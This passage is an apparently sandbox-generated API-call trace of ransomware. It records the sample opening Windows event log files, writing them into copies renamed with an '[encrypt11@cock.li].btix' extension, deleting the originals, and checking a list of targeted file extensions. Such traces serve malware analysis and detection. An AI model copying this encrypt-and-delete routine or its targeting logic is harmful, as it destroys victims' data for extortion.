lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.149] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.149] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x146, lpOverlapped=0x0) returned 1 [0048.149] SetEndOfFile (hFile=0x368) returned 1 [0048.150] CloseHandle (hObject=0x368) returned 1 [0048.151] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.151] SetEndOfFile (hFile=0x370) returned 1 [0048.152] CloseHandle (hObject=0x370) returned 1 [0048.153] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.153] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0048.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.153] lstrlenW (lpString=".doc") returned 4 [0048.153] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.153] lstrlenW (lpString=".docx") returned 5 [0048.153] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.153] lstrlenW (lpString=".pdf") returned 4 [0048.153] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.153] lstrlenW (lpString=".xls") returned 4 [0048.153] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.153] lstrlenW (lpString=".xlsx") returned 5 [0048.153] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.153] lstrlenW (lpString=".ppt") returned 4 [0048.153] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString=".zip") returned 4 [0048.154] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString=".rar") returned 4 [0048.154] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString=".bz2") returned 4 [0048.154] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString=".7z") returned 3 [0048.154] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString=".dbf") returned 4 [0048.154] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString=".1cd") returned 4 [0048.154] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString=".jpg") returned 4 [0048.154] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString=".doc") returned 4 [0048.154] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString=".docx") returned 5 [0048.154] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.154] lstrlenW (lpString=".pdf") returned 4 [0048.154] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString=".xls") returned 4 [0048.154] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString=".xlsx") returned 5 [0048.154] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.154] lstrlenW (lpString=".ppt") returned 4 [0048.154] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.154] lstrlenW (lpString=".zip") returned 4 [0048.155] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.155] lstrlenW (lpString=".rar") returned 4 [0048.155] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.155] lstrlenW (lpString=".bz2") returned 4 [0048.155] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.155] lstrlenW (lpString=".7z") returned 3 [0048.155] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.155] lstrlenW (lpString=".dbf") returned 4 [0048.155] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.155] lstrlenW (lpString=".1cd") returned 4 [0048.155] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0048.155] lstrlenW (lpString=".jpg") returned 4 [0048.155] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.155] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.155] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0048.155] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.155] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0048.156] CloseHandle (hObject=0x370) returned 1 [0048.156] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0048.156] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.156] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.156] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.156] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.156] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.177] GetLastError () returned 0x0 [0048.177] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.235] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.237] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.237] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x130, lpOverlapped=0x0) returned 1 [0048.237] SetEndOfFile (hFile=0x368) returned 1 [0048.237] CloseHandle (hObject=0x368) returned 1 [0048.239] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.239] SetEndOfFile (hFile=0x370) returned 1 [0048.241] CloseHandle (hObject=0x370) returned 1 [0048.241] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.241] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0048.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.241] lstrlenW (lpString=".doc") returned 4 [0048.241] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.241] lstrlenW (lpString=".docx") returned 5 [0048.241] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.241] lstrlenW (lpString=".pdf") returned 4 [0048.241] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.241] lstrlenW (lpString=".xls") returned 4 [0048.241] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.241] lstrlenW (lpString=".xlsx") returned 5 [0048.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.241] lstrlenW (lpString=".ppt") returned 4 [0048.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.241] lstrlenW (lpString=".zip") returned 4 [0048.241] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".rar") returned 4 [0048.242] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".bz2") returned 4 [0048.242] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".7z") returned 3 [0048.242] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.242] lstrlenW (lpString=".dbf") returned 4 [0048.242] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.242] lstrlenW (lpString=".1cd") returned 4 [0048.242] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.242] lstrlenW (lpString=".jpg") returned 4 [0048.242] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.242] lstrlenW (lpString=".doc") returned 4 [0048.242] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".docx") returned 5 [0048.242] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.242] lstrlenW (lpString=".pdf") returned 4 [0048.242] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".xls") returned 4 [0048.242] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".xlsx") returned 5 [0048.242] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.242] lstrlenW (lpString=".ppt") returned 4 [0048.242] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.242] lstrlenW (lpString=".zip") returned 4 [0048.242] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".rar") returned 4 [0048.242] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.242] lstrlenW (lpString=".bz2") returned 4 [0048.243] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.243] lstrlenW (lpString=".7z") returned 3 [0048.243] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.243] lstrlenW (lpString=".dbf") returned 4 [0048.243] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.243] lstrlenW (lpString=".1cd") returned 4 [0048.243] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0048.243] lstrlenW (lpString=".jpg") returned 4 [0048.243] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.243] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.243] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0048.243] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0048.253] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=1118208) returned 1 [0048.253] CloseHandle (hObject=0x2e0) returned 1 [0048.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0048.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0048.254] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.254] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.254] GetLastError () returned 0x0 [0048.255] ReadFile (in: hFile=0x2e0, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0048.452] WriteFile (in: hFile=0x358, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0048.467] ReadFile (in: hFile=0x2e0, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11010, lpOverlapped=0x0) returned 1 [0049.110] WriteFile (in: hFile=0x358, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11020, lpOverlapped=0x0) returned 1 [0049.114] ReadFile (in: hFile=0x2e0, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.114] WriteFile (in: hFile=0x358, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x134, lpOverlapped=0x0) returned 1 [0049.115] SetEndOfFile (hFile=0x358) returned 1 [0049.115] CloseHandle (hObject=0x358) returned 1 [0049.133] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.133] SetEndOfFile (hFile=0x2e0) returned 1 [0049.134] CloseHandle (hObject=0x2e0) returned 1 [0049.135] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.135] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0049.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.135] lstrlenW (lpString=".doc") returned 4 [0049.135] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.135] lstrlenW (lpString=".docx") returned 5 [0049.135] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.135] lstrlenW (lpString=".pdf") returned 4 [0049.135] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.135] lstrlenW (lpString=".xls") returned 4 [0049.135] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.135] lstrlenW (lpString=".xlsx") returned 5 [0049.135] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.135] lstrlenW (lpString=".ppt") returned 4 [0049.135] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.135] lstrlenW (lpString=".zip") returned 4 [0049.135] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".rar") returned 4 [0049.136] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".bz2") returned 4 [0049.136] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".7z") returned 3 [0049.136] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.136] lstrlenW (lpString=".dbf") returned 4 [0049.136] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.136] lstrlenW (lpString=".1cd") returned 4 [0049.136] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.136] lstrlenW (lpString=".jpg") returned 4 [0049.136] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.136] lstrlenW (lpString=".doc") returned 4 [0049.136] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".docx") returned 5 [0049.136] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.136] lstrlenW (lpString=".pdf") returned 4 [0049.136] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".xls") returned 4 [0049.136] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".xlsx") returned 5 [0049.136] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.136] lstrlenW (lpString=".ppt") returned 4 [0049.136] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.136] lstrlenW (lpString=".zip") returned 4 [0049.136] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.136] lstrlenW (lpString=".rar") returned 4 [0049.136] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.137] lstrlenW (lpString=".bz2") returned 4 [0049.137] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.137] lstrlenW (lpString=".7z") returned 3 [0049.137] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.137] lstrlenW (lpString=".dbf") returned 4 [0049.137] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.137] lstrlenW (lpString=".1cd") returned 4 [0049.137] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0049.137] lstrlenW (lpString=".jpg") returned 4 [0049.137] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.137] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.137] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0049.137] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.138] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0049.138] CloseHandle (hObject=0x2e0) returned 1 [0049.138] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0049.138] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.138] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.138] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.138] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.138] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.138] GetLastError () returned 0x0 [0049.138] ReadFile (in: hFile=0x2e0, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.267] WriteFile (in: hFile=0x358, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.268] ReadFile (in: hFile=0x2e0, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.268] WriteFile (in: hFile=0x358, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x136, lpOverlapped=0x0) returned 1 [0049.268] SetEndOfFile (hFile=0x358) returned 1 [0049.268] CloseHandle (hObject=0x358) returned 1 [0049.270] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.270] SetEndOfFile (hFile=0x2e0) returned 1 [0049.271] 